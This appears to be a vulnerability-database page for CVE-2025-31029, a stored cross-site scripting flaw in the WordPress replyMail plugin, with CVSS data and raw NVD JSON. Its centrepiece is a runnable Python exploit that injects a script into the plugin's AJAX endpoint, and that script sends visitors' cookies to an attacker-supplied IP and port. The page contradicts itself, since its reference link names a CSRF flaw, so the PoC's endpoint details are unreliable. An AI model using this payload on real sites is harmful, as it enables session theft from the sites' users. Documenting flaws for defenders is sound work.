Security Vulnerability Report
中文
CVE-2025-31029 CVSS 7.1 HIGH

CVE-2025-31029

Published: 2025-11-06 16:15:50
Last Modified: 2026-04-27 16:16:27

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bingu replyMail replymail allows Stored XSS.This issue affects replyMail: from n/a through <= 1.2.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WordPress replyMail插件 <= 1.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-31029 PoC - WordPress replyMail Stored XSS # Target: WordPress site with replyMail plugin <= 1.2.0 def exploit_stored_xss(target_url, attacker_ip, attacker_port): """ Exploit stored XSS in WordPress replyMail plugin This PoC demonstrates how the malicious script gets stored and executed """ # Malicious XSS payload - steals cookies xss_payload = f''' <script> // Cookie stealing payload for CVE-2025-31029 fetch('http://{attacker_ip}:{attacker_port}/log?cookie=' + btoa(document.cookie)); </script> ''' # Target endpoint for replyMail submission target_endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # Prepare the malicious request data = { 'action': 'replymail_submit', 'message': xss_payload, 'post_id': 1 } print(f"[*] Targeting: {target_url}") print(f"[*] Injecting XSS payload...") print(f"[*] Payload: {xss_payload.strip()}") try: # Send the malicious payload response = requests.post(target_endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload injected successfully!") print(f"[+] The malicious script is now stored on the server") print(f"[+] When any user views the affected content, the XSS will execute") print(f"[+] Attacker should be listening on {attacker_ip}:{attacker_port}") else: print(f"[-] Failed to inject payload. Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: python cve-2025-31029_poc.py <target_url> <attacker_ip> <port>") print("Example: python cve-2025-31029_poc.py http://target.com 192.168.1.100 8080") sys.exit(1) target = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] exploit_stored_xss(target, ip, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31029", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:50.067", "lastModified": "2026-04-27T16:16:26.517", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in bingu replyMail replymail allows Stored XSS.This issue affects replyMail: from n/a through <= 1.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/replymail/vulnerability/wordpress-replymail-plugin-1-2-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}